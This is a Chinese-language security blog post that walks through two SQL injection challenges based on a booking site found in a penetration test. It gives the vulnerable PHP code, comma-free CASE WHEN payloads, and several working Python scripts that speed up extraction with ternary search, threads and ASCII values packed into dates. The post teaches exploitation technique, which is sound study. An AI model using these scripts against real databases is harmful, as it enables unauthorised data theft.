最近開了一個讀者回饋表單,無論是對文章的感想或是對部落格的感想,有什麼想回饋的都可以填表單跟我說:表單連結

SQL injection 實戰:在限制底下提升速度

前陣子我們團隊在執行滲透測試時,發現了一個有趣的 SQL injection 案例,因為一些特性的關係,沒辦法直接用現成工具撈出資料,需要自己改工具或是寫腳本才能有效利用。因此,這篇將會分享兩個實際案例,以及我自己的幾個解法。

我有把這兩個案例放到 Heroku 上面,做成兩個小挑戰,有興趣的可以自己先玩玩看:

(Heroku 沒了QQ)

原本的案例是類似訂房網站的東西,所以這兩個挑戰其實也都是訂房網站會有的功能,第一個是搜尋功能,第二個則是訂房查詢的功能。

第一個挑戰需要從指定的 table 中拿出 flag,第二個挑戰的 flag 隱藏在其他 table 中,請找出那張 table 並且把 flag 取出,flag 格式為:cymetrics{a-z_}

因為 Heroku 有自動休眠機制,所以可能會等個五六秒才看到畫面,這是正常的。

兩題的難度我覺得其實都不高,但重點是如何找出更有效率的解法,底下是兩個案例的講解以及我自己的解法。

案例一:搜尋功能

第一個案例是一個搜尋的功能,有一個 table 叫做 home,存著三個欄位:id、name 跟 tags,而 tags 是一個用逗號分割的字串,用來標示這筆資料有哪些 tag。

如果沒傳入任何東西,會回傳底下的資料:

[
    {
        "id": "1",
        "name": "home1",
        "tags": "1,2,3,4"
    },
    {
        "id": "2",
        "name": "home2",
        "tags": "1,5"
    }
]

因此我們可以知道資料庫裡一共有兩筆資料,接著我們可以傳入 tag 來 filter,找出指定的資料,像是這樣:

https://od-php.herokuapp.com/sql/search.php?tag=5

[
    {
        "id": "2",
        "name": "home2",
        "tags": "1,5"
    }
]

tag 參數可以用逗號分格,一次搜尋多個值,像這樣:

https://od-php.herokuapp.com/sql/search.php?tag=2,5

[
    {
        "id": "1",
        "name": "home1",
        "tags": "1,2,3,4"
    },
    {
        "id": "2",
        "name": "home2",
        "tags": "1,5"
    }
]

功能大概就是這樣子而已,原本的實際案例會更複雜一點,但為了精簡因此只保留最精華的部分,其他無關的東西都拿掉了。

接著,我們來看一下重點程式碼:

$sql = "SELECT id, name, tags from home ";

if (strpos(strtolower($tag), "sleep") !== false) {
  die("QQ");
}

if(!empty($tag) && is_string($tag)) {
  $tag_arr = explode(',', $tag);
  $sql_tag = [];
  foreach ($tag_arr as $k => $v) {
      array_push($sql_tag, "( FIND_IN_SET({$v}, tags) )");
  }
  if (!empty($sql_tag)) {
      $sql.= "where (" . implode(' OR ', $sql_tag) . ")";
  }
}

這邊直接用字串拼接的方式組成 SQL query,因此很明顯有 SQL injection 的漏洞,如果你傳入 ?tag=',SQL query 就會出錯,為了方便大家 debug,錯誤時會把 SQL query 印出來。

想要撈出其他資料,一個很直覺的想法是利用 union,但這招在這裡行不通,原因是我們傳進去的參數會用 , 來分割,所以我們的 payload 裡不能有逗號,不然會把整個 query 搞壞,變成很奇怪的樣子。

因此這題有趣的地方之一在於如何不用逗號,利用這個漏洞。

一個簡單直覺的做法是用 case when 搭配 sleep,像這樣:

(select case when (content like "c%") then 1 else sleep(1) end from flag)

從 response 的回傳時間,可以推測出條件有沒有成立,但因為程式碼把 sleep 給擋掉了,所以沒辦法這樣用(原本的案例是沒有擋這個的,是我額外加上去的)。

但其實仔細觀察會發現我們不需要 sleep,可以利用 case when 的回傳值做原本的 filter 功能,從結果中推測哪個條件成立,像這樣:

(select case when (content like "c%") then 1 else 10 end from flag)

當條件(content like 'c%')成立時,回傳值就是 1,反之則是 10,而如果是 1 的話,回傳的 JSON 就會有資料,10 的話則沒有,因此我們可以根據有或沒有,得知條件是否成立。

接著,我們就來寫一下這種最簡單做法的腳本。

# exploit-search.py
import requests
import datetime
import json

host = 'https://od-php.herokuapp.com/sql'
char_index = 0
char_set = 'abcdefghijklmnopqrstuvwxyz}_'
result = 'cymetrics{'
while True:
  if char_index >= len(char_set):
    print("end")
    break

  char = char_set[char_index]
  payload = f'(select case when (content like "{result}{char}%") then 1 else 10 end from flag)'
  response = requests.get(f'{host}/search.php?tag={payload}')
  print("trying", char)
  if response.ok:
    data = json.loads(response.text)
    if len(data) > 0:
      result += char
      print(result)
      char_index = 0
    else:
      char_index += 1

  else:
    print('error')
    print(response.text)
    break

簡單來說就是每個字元不斷去試,試到有為止,簡單暴力但有用,跑個三五分鐘大概就能跑出完整的結果,執行過程會像是這樣:

如果像挑戰這樣,我們事先知道 table 名稱跟欄位名稱,頂多執行時間久一點而已,三五分鐘還在可以接受的範圍,但在實際案例中我們可能什麼都不知道,需要去打 information_schema 把各項資訊拿出來,才能把整個資料庫 dump 出來。

因此,我們需要更有效率的做法。

加速:一次試三個

其實仔細觀察可以發現,我們可以控制的回傳結果有四種:

  1. home1 home2 一起出現(當 tag 是 1)
  2. 只有 home1 出現(當 tag 是 2)
  3. 只有 home2 出現(當 tag 是 5)
  4. 兩個都沒出現(當 tag 是 10)

而剛剛的攻擊方式,我們只用到了兩個狀況,如果四個都利用的話,速度會變成三倍。

利用的方式很簡單,就是我們可以從原本一次試一個,變成一次試三個,像是這樣:

(select case
  when (content like "a%") then 1
  when (content like "b%") then 2
  when (content like "c%") then 5
  else 10
end from flag)

一個 query 可以試三個字元,速度提升了三倍,腳本如下:

# exploit-search-3x.py
import requests
import datetime
import json
import urllib.parse
import time

def print_success(raw):
  print(f"\033[92m{raw}\033[0m")

def encode(raw):
  return urllib.parse.quote(raw.encode('utf8'))

host = 'https://od-php.herokuapp.com/sql'
char_index = 0
char_set = '}abcdefghijklmnopqrstuvwxyz_'
result = 'cymetrics{'

start = time.time()
while True:
  found = False
  for i in range(0, len(char_set), 3):
    chars = char_set[i:i+3]
    while len(chars) < 3:
      chars += 'a'
    payload = f'''
    (select case
      when (content like "{result+chars[0]}%") then 1  
      when (content like "{result+chars[1]}%") then 2  
      when (content like "{result+chars[2]}%") then 5
      else 10
     end from flag)
    '''
    print("trying " + str(chars))
    response = requests.get(f'{host}/search.php?tag={encode(payload)}')
    if response.ok:
      data = json.loads(response.text)
      if len(data) == 2:
        result+=chars[0]
        found = True
      elif len(data) == 0:
        continue
      else:
        found = True
        if data[0]["name"] == "home1":
          result+=chars[1]
        else:
          result+=chars[2]

    else:
      print('error')
      print(response.text)
      break

    if found:
      print_success("found: " + result)
      break

  if not found:
    print("end")
    print(response.text)
    break

print(f"time: {time.time() - start}s")

跑起來會像這樣:

跑了大概 90 秒左右得出答案,比原本的快了不少。

假設 n 是字串長度,而我們的字元集大約 27 個,最差的狀況下,原本需要 27n 次嘗試才能得到 flag,而換成這種方法以後,只要 27n/3 = 9n 次。

不過這樣還不夠快,既然都可以有三種結果了,那何不如換種方式利用呢?

再次加速:三分搜

與其三個三個試,不如換成「三組三組」試,例如說原本的字元集是 }abcdefghijklmnopqrstuvwxyz_,分成三等份會變成:

  1. }abcdefgh
  2. ijklmnopq
  3. rstuvwxyz_

我們去看字元是不是在某個特定組別裡面,SQL query 如下:

(select case
  when (
    (content like 'cymetrics{}%') or
    (content like 'cymetrics{a%') or
    (content like 'cymetrics{b%') or
    (content like 'cymetrics{c%') or
    (content like 'cymetrics{d%') or
    (content like 'cymetrics{e%') or
    (content like 'cymetrics{f%') or
    (content like 'cymetrics{g%') or
    (content like 'cymetrics{h%')
  ) then 1
  when (
    (content like 'cymetrics{i%') or
    (content like 'cymetrics{j%') or
    (content like 'cymetrics{k%') or
    (content like 'cymetrics{l%') or
    (content like 'cymetrics{m%') or
    (content like 'cymetrics{n%') or
    (content like 'cymetrics{o%') or
    (content like 'cymetrics{p%') or
    (content like 'cymetrics{q%')
  ) then 2
  when (
    (content like 'cymetrics{r%') or
    (content like 'cymetrics{s%') or
    (content like 'cymetrics{t%') or
    (content like 'cymetrics{u%') or
    (content like 'cymetrics{v%') or
    (content like 'cymetrics{w%') or
    (content like 'cymetrics{x%') or
    (content like 'cymetrics{y%') or
    (content like 'cymetrics{z%') or
    (content like 'cymetrics{\_%')
  ) then 5
  else 10
end from flag)

每次都分成三等份搜尋,就變成了三分搜尋法,最壞的狀況下需嘗試的次數從 9n 變成了 3n,腳本如下(三分搜的部分算是亂寫的,不保證沒有 bug):

# exploit-search-teanary.py
import requests
import time
import json
import urllib.parse

def print_success(raw):
  print(f"\033[92m{raw}\033[0m")

def encode(raw):
  return urllib.parse.quote(raw.encode('utf8'))

host = 'https://od-php.herokuapp.com/sql'
char_index = 0
char_set = '}abcdefghijklmnopqrstuvwxyz_'
result = 'cymetrics{'

is_over = False
start = time.time()
while True:
  print_success("result: " + result)
  if is_over:
    break

  found = False
  L = 0
  R = len(char_set) - 1
  while L<=R:
    s = (R-L) // 3
    ML = L + s
    MR = L + s * 2
    if s == 0:
      MR = L + 1

    group = [
      char_set[L:ML],
      char_set[ML:MR],
      char_set[MR:R+1]
    ]

    conditions = []
    for i in range(0, 3):
      if len(group[i]) == 0:
        # 空的話加上 1=2,一個恆假的條件
        conditions.append("1=2")
        continue
      # 這邊要對 _ 做處理,加上 /,否則 _ 會配對到任意一個字元
      arr = [f"(content like '{result}{chr(92) + c if c == '_' else c}%')" for c in group[i]]
      conditions.append(" or ".join(arr))

    payload = f'''
    (select case
      when ({conditions[0]}) then 1  
      when ({conditions[1]}) then 2  
      when ({conditions[2]}) then 5
      else 10
    end from flag)
    '''

    print("trying", group)

    response = requests.get(f'{host}/search.php?tag={encode(payload)}')
    if not response.ok:
      print('error')
      print(response.text)
      print(payload)
      is_over = True
      break

    data = json.loads(response.text)
    if len(data) == 0:
      print("end")
      is_over = True
      break

    if len(data) == 2:
      R = ML
      if len(group[0]) == 1:
        result += group[0]
        break
      
    else:
      if data[0]["name"] == "home1":
        L = ML
        R = MR
        if len(group[1]) == 1:
          result += group[1]
          break
      else:
        L = MR
        if len(group[2]) == 1:
          result += group[2]
          break

print(f"time: {time.time() - start}s")

執行的結果如圖:

跑了 45 秒,比剛剛的做法又快了一倍。

最後的加速:多執行緒

前面我們都是等一個 request 回來才發下一個,但其實可以用多執行緒同時去發 request,例如說每一個 thread 固定去猜一個位置的值,速度應該能快上不少。

雖然需要嘗試的次數是一樣的,但每秒嘗試的次數變多了,所以整體秒數自然也變少了。

底下是簡單實作的程式碼,需要先知道最後字串的長度,要再做精緻一點就是先搜出要撈的資料長度,然後再去撈資料本身:

# exploit-search-thread.py
import requests
import time
import json
import urllib.parse
import concurrent.futures

def print_success(raw):
  print(f"\033[92m{raw}\033[0m")

def encode(raw):
  return urllib.parse.quote(raw.encode('utf8'))

host = 'https://od-php.herokuapp.com/sql'
char_index = 0
char_set = '}abcdefghijklmnopqrstuvwxyz_'
flag = 'cymetrics{'

def get_char(index):
  L = 0
  R = len(char_set) - 1
  prefix = flag + "_" * index
  while L<=R:
    s = (R-L) // 3
    ML = L + s
    MR = L + s * 2
    if s == 0:
      MR = L + 1

    group = [
      char_set[L:ML],
      char_set[ML:MR],
      char_set[MR:R+1]
    ]

    conditions = []
    for i in range(0, 3):
      if len(group[i]) == 0:
        conditions.append("1=2")
        continue
      arr = [f"(content like '{prefix}{chr(92) + c if c == '_' else c}%')" for c in group[i]]
      conditions.append(" or ".join(arr))

    payload = f'''
    (select case
      when ({conditions[0]}) then 1  
      when ({conditions[1]}) then 2  
      when ({conditions[2]}) then 5
      else 10
    end from flag)
    '''

    print(f"For {index} trying", group)

    response = requests.get(f'{host}/search.php?tag={encode(payload)}')
    if not response.ok:
      print('error')
      print(response.text)
      print(payload)
      return False

    data = json.loads(response.text)
    if len(data) == 0:
      return False

    if len(data) == 2:
      R = ML
      if len(group[0]) == 1:
        return group[0]
      
    else:
      if data[0]["name"] == "home1":
        L = ML
        R = MR
        if len(group[1]) == 1:
          return group[1]
      else:
        L = MR
        if len(group[2]) == 1:
          return group[2]

def run():
    length = 15
    ans = [None] * length
    with concurrent.futures.ThreadPoolExecutor(max_workers=length) as executor:
        futures = {executor.submit(get_char, i): i for i in range(length)}
        for future in concurrent.futures.as_completed(futures):
            index = futures[future]
            data = future.result()
            print_success(f"Index {index} is {data}")
            ans[index] = data

    print_success(f"flag: {flag}{''.join([n for n in ans if n != False])}")

start = time.time()
run()
print(f"time: {time.time() - start}s")

跑起來像這樣:

我們開了 15 個 thread,時間從 45 秒降低成 3 秒,利用多執行緒讓整體速度提升了 15 倍。

總結一下,在 SQL 方面,我們可以利用三分搜來降低嘗試次數,在 SQL 方面這已經是我能想到最快的方法了,如果還有更快的,請在底下留言告訴我。

在程式方面,則是可以用多執行緒同時發出多個 request,來加快嘗試的速度,跟 SQL 的最佳化互相搭配之後就能大幅降低秒數。

案例二:訂房查詢功能

這個挑戰是訂房查詢的功能,會傳入三個參數:

  1. id
  2. start_time
  3. end_time

接著系統會去查詢一張叫做 price 的 table,找出符合條件的資料,就代表那一天有設定價格,所以可以訂房,而回傳的資料中會根據 start_time 跟 end_time,回傳這之中的每一天是否可以訂房,可以的話就顯示 Available,否之則顯示 Unavailable。

這題的注入點在 id,因為 id 沒有被 escape,所以可以執行 SQL injection,我們先來看一下這題的程式碼:

for ($i = $startTime; $i <= $endTime; $i = strtotime('+1 day', $i)) {
    $found = false;
    foreach ($priceItems['results'] as $range) {
        if ($i == $range["start_time"] && $i <= $range["end_time"]) {
            $data = $range;
            $found = true;
            break;
        }
    }

    if ($found) {
      $events['events'][] = [
          'start' => date('Y-m-d', $data["start_time"]),
          'end' => date('Y-m-d', $data["end_time"]),
          'status' => "Available",
      ];
    } else {
      $events['events'][] = [
          'start' => date('Y-m-d', $i),
          'end' => date('Y-m-d', $i),
          'status' => "Unavailable",
      ];
    }   
}

如同前面提到的,這題會從傳入的 start_time 開始一天一天加,加到 end_time 為止,而這之中的每一天會去 priceItems 裡面查,看有沒有符合區間的資料,有找到的話就會把那天的 status 設成 Available,反之則是 Unavailable。

底下則是撈出 price items 資料的程式碼,query 的部分為了方便閱讀我有改了一下排版:

function getPriceItems($id, $start, $end) {
    global $conn;

    $start = esc_sql($start);
    $end = esc_sql($end);
    $sql = "
    select * from price where (
        (price.start_time >= {$start} AND price.end_time <= {$end})
          OR (price.start_time <= {$start} AND price.end_time >= {$start})
          OR (price.start_time <= {$end} AND price.end_time >= {$end})
        ) AND price.home_id = {$id}";
    
    $result = $conn->query($sql);
    $arr = [];
    if ($result) {
      while($row = $result->fetch_assoc()) {
        array_push($arr, $row);
      }
    } else {
      die($sql);
    }

    return [
        'results' => $arr
    ];
}
?>

在 id 的地方我們可以用 union 的方式來讓 price items 變成我們指定的資料,由於 union 需要知道有幾個欄位,因此可以先用 order by {number} 的方式去看看有幾個欄位,例如說 order by 2,代表用第二個欄位來排序,如果不足第二個就會出錯,所以我們可以用類似二分搜的方法知道有幾個欄位,嘗試過後發現一共是 4 個欄位。

接著,2023-01-01 換成 timestamp 是 1672502400,因此我們的 id 可以長這樣:

0 union select 1672502400,1672502400,1672502400,1672502400

會發現回傳的資料中,status 變成 Available,代表我們的 SQL injection 成功了,再來就是要去試哪一個欄位是 start_time,哪一個又是 end_time,可以把每個欄位都變成 1,看看回傳結果會不會改變,就知道有沒有動到這兩個欄位。

總之呢,一波嘗試過後發現第二個欄位是 start_time,第三個是 end_time。

那我們可以怎麼利用呢?一個簡單的做法是像上一題一樣,用 case when 來做事,例如說某條件符合時就 select 出指定的資料(狀態會變 Available),不符合則否(狀態會是 Unavailable),一樣可以慢慢把資料弄出來。

不過這題跟上一題有個很大的不同點,那就是這一題我們可以控制輸出資料中的 start_time 跟 end_time,雖然這兩個值一定要是日期,但我們可以把想回傳的資料偷渡在日期裡面。

我的做法就是這樣,簡單來說就是把想回傳的資料變成一個日期。

我們可以先拿到資料中的第 n 個字元,假設轉成 ascii 之後會是 x,我們可以把這個視為「x 天」的意思,我們把 x*3600*24 再加上 2023-01-01 的 timestamp 1672502400,就會得到一個新的 timestamp 做為 end_time,並且在 php 被轉成日期。

而我們從 response 中拿到這個日期以後,只要算出從 2023-01-01 過了幾天即可,因此把日期先轉回 timestamp,再減去 1672502400 以後除以 86400(3600*24),就會得到這個天數,假設是 98 天好了,就代表當初讀到的字元是 chr(98) 也就是 b,就得到了一個字元。

因此,藉由把 ascii code 偷渡在日期中,每做一次操作我們可以拿到一個字元的資料,程式碼如下:

# exploit-ava.py
import requests
import datetime
import json
import urllib.parse
import time

host = 'https://od-php.herokuapp.com/sql'
base_time = 1672502400
index = 1
result = ''
field = 'group_concat(table_name)'
fr = " FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'"
fr = urllib.parse.quote(fr.encode('utf8'))
start = time.time()
while True:
  payload = f'ascii(SUBSTRING({field},{index}))*86400%2b{base_time}'
  response = requests.get(f'{host}/availability.php?id=12345%20union%20select%201%20,{base_time},{payload},4%20{fr}&start_time=2023-01-01&end_time=2023-01-01')
  index +=1
  if response.ok:
    data = json.loads(response.text)
    d = data['events'][0]['end']
    if d == '2023-01-01':
      break
    else:
      diff = datetime.datetime.strptime(d, "%Y-%m-%d").timestamp() - base_time
      result += chr(int(diff/86400))
      print(result)
  else:
    print('error')
    break

print(f"time: {time.time() - start}s")

跑起來的結果會是這樣:

一次 leak 出一個字元,花了大約 40 秒得到完整結果。

加速:一次偷渡兩個字

既然都可以把資料換成數字偷偷塞在日期裡面了,何不一次偷渡兩個字呢?為了不讓數字衝突而且好算,第二個字需要再乘以 128。

程式碼如下:

# exploit-ava-2x.py
import requests
import datetime
import json
import urllib.parse
import time

def encode(raw):
  return urllib.parse.quote(raw.encode('utf8'))

host = 'https://od-php.herokuapp.com/sql'
base_time = 1672502400
index = 1
result = ''
field = 'group_concat(table_name)'
fr = " FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'"
fr = encode(fr)
start = time.time()
while True:
  payload = f'''
    ascii(SUBSTRING({field},{index}))*86400
    + ascii(SUBSTRING({field},{index+1}))*86400*128
    + {base_time}
  '''
  response = requests.get(f'{host}/availability.php?id=12345%20union%20select%201%20,{base_time},{encode(payload)},4%20{fr}&start_time=2023-01-01&end_time=2023-01-01')
  index +=2
  if response.ok:
    data = json.loads(response.text)
    d = data['events'][0]['end']
    if d == '2023-01-01':
      break
    else:
      diff = datetime.datetime.strptime(d, "%Y-%m-%d").timestamp() - base_time
      
      diff = int(diff/86400)
      first = diff % 128
      result += chr(first)

      second = int((diff - first) / 128)
      if second == 0:
        break
      result += chr(second)
      print("current:", result)
  else:
    print('error')
    break

print("result:", result)
print(f"time: {time.time() - start}s")

跑起來的結果:

總共花了 19 秒,是上一個做法的兩倍,十分合理。

再加速:一次偷渡 n 個字

剛剛的做法,其實就是把字串視為是一個 128 進位的數字,例如說 mvc,換成 ascii code 分別是 109, 119, 99,變成數字就會是 99 + 128*119 + 128*128*109 = 1801187,也就是 180 萬天,大約是 4935 年。

理論上只要這個年份不超過程式語言可以表示的範圍,我們就能一次拿出多個字元,以 PHP 為例,我們可以寫個簡單的腳本算一下:

<?php
  $base = 1672502400;
  $num = 1;
  for($i=1; $i<=10; $i++) {
    $num *= 128;
    echo($i . "\n");
    echo(date('Y-m-d', $base + $num*86400) . "\n");
  }
?>

輸出是:

1
2023-05-08
2
2067-11-09
3
7764-10-21
4
736974-04-25
5
94075791-06-08
6
12041444382-10-24
7
PHP Warning:  date() expects parameter 2 to be int, float given in /Users/li.hu/Documents/playground/ctf/sql-injection/test.php on line 7

8
PHP Warning:  date() expects parameter 2 to be int, float given in /Users/li.hu/Documents/playground/ctf/sql-injection/test.php on line 7

9
PHP Warning:  date() expects parameter 2 to be int, float given in /Users/li.hu/Documents/playground/ctf/sql-injection/test.php on line 7

10
PHP Warning:  date() expects parameter 2 to be int, float given in /Users/li.hu/Documents/playground/ctf/sql-injection/test.php on line 7

代表我們最多可以一次拿 5 個字元,因為 128^6 還在許可範圍之內,不會爆炸。

但是呢,Python 在使用 datetime.strptime 將日期轉為 timestamp 時,最高的上限似乎是 9999 年,超過以後就會拋錯。因此,除非自己寫一套轉換,否則最多就只能一次拿 3 個字元的資料。寫這個轉換光想就很麻煩(要考慮到每個月的天數跟閏年),因此我只實作了 3 個字元的版本,程式碼如下:

# exploit-ava-3x.py
import requests
import datetime
import json
import urllib.parse
import time

def encode(raw):
  return urllib.parse.quote(raw.encode('utf8'))

host = 'https://od-php.herokuapp.com/sql'
base_time = 1672502400
index = 1
result = ''
field = 'group_concat(table_name)'
fr = " FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'"
fr = encode(fr)
start = time.time()
while True:
  payload = f'''
    ascii(SUBSTRING({field},{index}))*86400
    + ascii(SUBSTRING({field},{index+1}))*86400*128
    + ascii(SUBSTRING({field},{index+2}))*86400*128*128
    + {base_time}
  '''
  response = requests.get(f'{host}/availability.php?id=12345%20union%20select%201%20,{base_time},{encode(payload)},4%20{fr}&start_time=2023-01-01&end_time=2023-01-01')
  index += 3
  if response.ok:
    data = json.loads(response.text)
    d = data['events'][0]['end']
    print(d)
    if d == '2023-01-01':
      break
    else:
      diff = datetime.datetime.strptime(d, "%Y-%m-%d").timestamp() - base_time
      diff = int(diff/86400)
      is_over = False
      while diff > 0:
        num = diff % 128
        if num == 0:
          is_over = True
          break
        result += chr(num)
        diff = int((diff - num) / 128)

      if is_over:
        break

      print("current:", result)
      
  else:
    print('error')
    break

print("result:", result)
print(f"time: {time.time() - start}s")

跑起來的結果:

大約是 13 秒,又更快了一點。

最後的加速:善用多個日期

前面我們的日期區間都只傳入了一天,所以 response 就只有一天的結果,但這個功能其實可以傳入一個日期區間,例如說如果我們傳入 2023-01-01 ~ 2023-01-05,就會拿到五天的 response:

{
    "events": [
        {
            "start": "2021-01-01",
            "end": "2021-01-01",
            "status": "Unavailable"
        },
        {
            "start": "2021-01-02",
            "end": "2021-01-02",
            "status": "Unavailable"
        },
        {
            "start": "2021-01-03",
            "end": "2021-01-03",
            "status": "Unavailable"
        },
        {
            "start": "2021-01-04",
            "end": "2021-01-04",
            "status": "Unavailable"
        },
        {
            "start": "2021-01-05",
            "end": "2021-01-05",
            "status": "Unavailable"
        }
    ]
}

為了簡化 query,剛剛的 query 我們都只用到了一個日期而已,而我們知道一個日期可以傳回 3 個字元的資訊,如果我們精心設計一下 query,讓每天的回傳值都帶著 3 個字元,若是 10 天都用到,就能一次回傳 30 個字元,query 會像這樣:

union select 1,1672502400,
      ascii(SUBSTRING(group_concat(table_name),1))*86400
      + ascii(SUBSTRING(group_concat(table_name),2))*86400*128
      + ascii(SUBSTRING(group_concat(table_name),3))*86400*128*128
      + 1672502400
    ,1  FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
union select 1,1672588800,
      ascii(SUBSTRING(group_concat(table_name),4))*86400
      + ascii(SUBSTRING(group_concat(table_name),5))*86400*128
      + ascii(SUBSTRING(group_concat(table_name),6))*86400*128*128
      + 1672588800
    ,1  FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
union select 1,1672675200,
      ascii(SUBSTRING(group_concat(table_name),7))*86400
      + ascii(SUBSTRING(group_concat(table_name),8))*86400*128
      + ascii(SUBSTRING(group_concat(table_name),9))*86400*128*128
      + 1672675200
    ,1  FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
....

腳本如下:

# exploit-ava-30x.py
import requests
import datetime
import json
import urllib.parse
import time

def encode(raw):
  return urllib.parse.quote(raw.encode('utf8'))

def to_ts(raw):
  return datetime.datetime.strptime(raw, "%Y-%m-%d").timestamp()

host = 'https://od-php.herokuapp.com/sql'
base_time = 1672502400
index = 1
result = ''
field = 'group_concat(table_name)'
fr = " FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'"
start_time = '2023-01-01'
end_time = '2023-01-10'
date_count = 10
fetch_per_union = 3

start = time.time()

while True:
  unions = []
  query_time = base_time
  for i in range(date_count):
    payload = f'''
      ascii(SUBSTRING({field},{index}))*86400
      + ascii(SUBSTRING({field},{index+1}))*86400*128
      + ascii(SUBSTRING({field},{index+2}))*86400*128*128
      + {query_time}
    '''

    unions.append(f'union select 1,{query_time},{payload},1 {fr}')
    index += fetch_per_union
    query_time += 86400

  payload = " ".join(unions)
  print(payload)
  response = requests.get(f'{host}/availability.php?id=12345%20{encode(payload)}&start_time={start_time}&end_time={end_time}')
  if not response.ok:
    print('error')
    break

  data = json.loads(response.text)
  print(data)
  is_finished = False
  for item in data['events']:
    diff = to_ts(item['end']) - to_ts(item['start'])
    diff = int(diff/86400)
    is_finished = False
    if diff == 0:
      is_finished = True
      break

    count = 0
    while diff > 0:
      num = diff % 128
      if num == 0:
        is_finished = True
        break
      count+=1
      result += chr(num)
      diff = int((diff - num) / 128)

    if count != fetch_per_union:
      is_finished = True
      break

    if is_finished:
      break
    print("current:", result)

  if is_finished:
    break

print("result:", result)
print(f"time: {time.time() - start}s")

執行結果會長這樣,可以看到每一筆資料的 end 都攜帶了 3 個字元的資訊在裡面:

這次只用了 1 個 query,總共花了 4 秒,就得到了 30 個字元,大多數時間其實都是花在 SQL 對於 query 的處理。

結語

所有範例程式碼都在這邊:https://github.com/aszx87410/demo/tree/master/sql-injection

雖然說大部分狀況可能用多執行緒就可以搞定了,但要考慮到有些 Server 可能有 rate limiting,沒辦法送這麼多 request。撇開繞過 rate limiting 不談,我認為如何讓一個 query 傳回最大的資訊量,並且減少 request 的數量這件事情滿有趣的,因此才有了這篇文章還有各式各樣的方法。

第一個案例中最後是用了三分搜降低 request 數量,第二個案例則是用了把字串轉成數字的方式,將資料偷渡到日期裡,並用多個日期來偷渡更多的字元。

另外,上面的實作中所用的 ASCII 函式有所限制,例如說如果是中文就會爆炸,這時候可以改用 ORD 或是 HEX 之類的,支援度會更好。

這些解法我認為要想到應該都不難,但最麻煩的是實作的部分,原本我其實也沒有想做的,只想在文章裡面寫一句「理論上這樣做可以更快,實作就交給大家自己來了」,但想了想覺得還是應該要做一下。

若只是想證明 SQL injection 的漏洞存在,其實做到最慢的方法就打完收工了,但我還是會好奇:「如果真的想把整個資料庫 dump 出來,怎麼做比較快?」,或許該找個時間研究一下 sqlmap,應該可以得到不少靈感。

參考資料:

  1. Comma is forbidden! No worries!! Inject in insert/update queries without it
你知道的 JavaScript 知識都有可能是錯的 忍術!把 same site 變 same origin 之術!

評論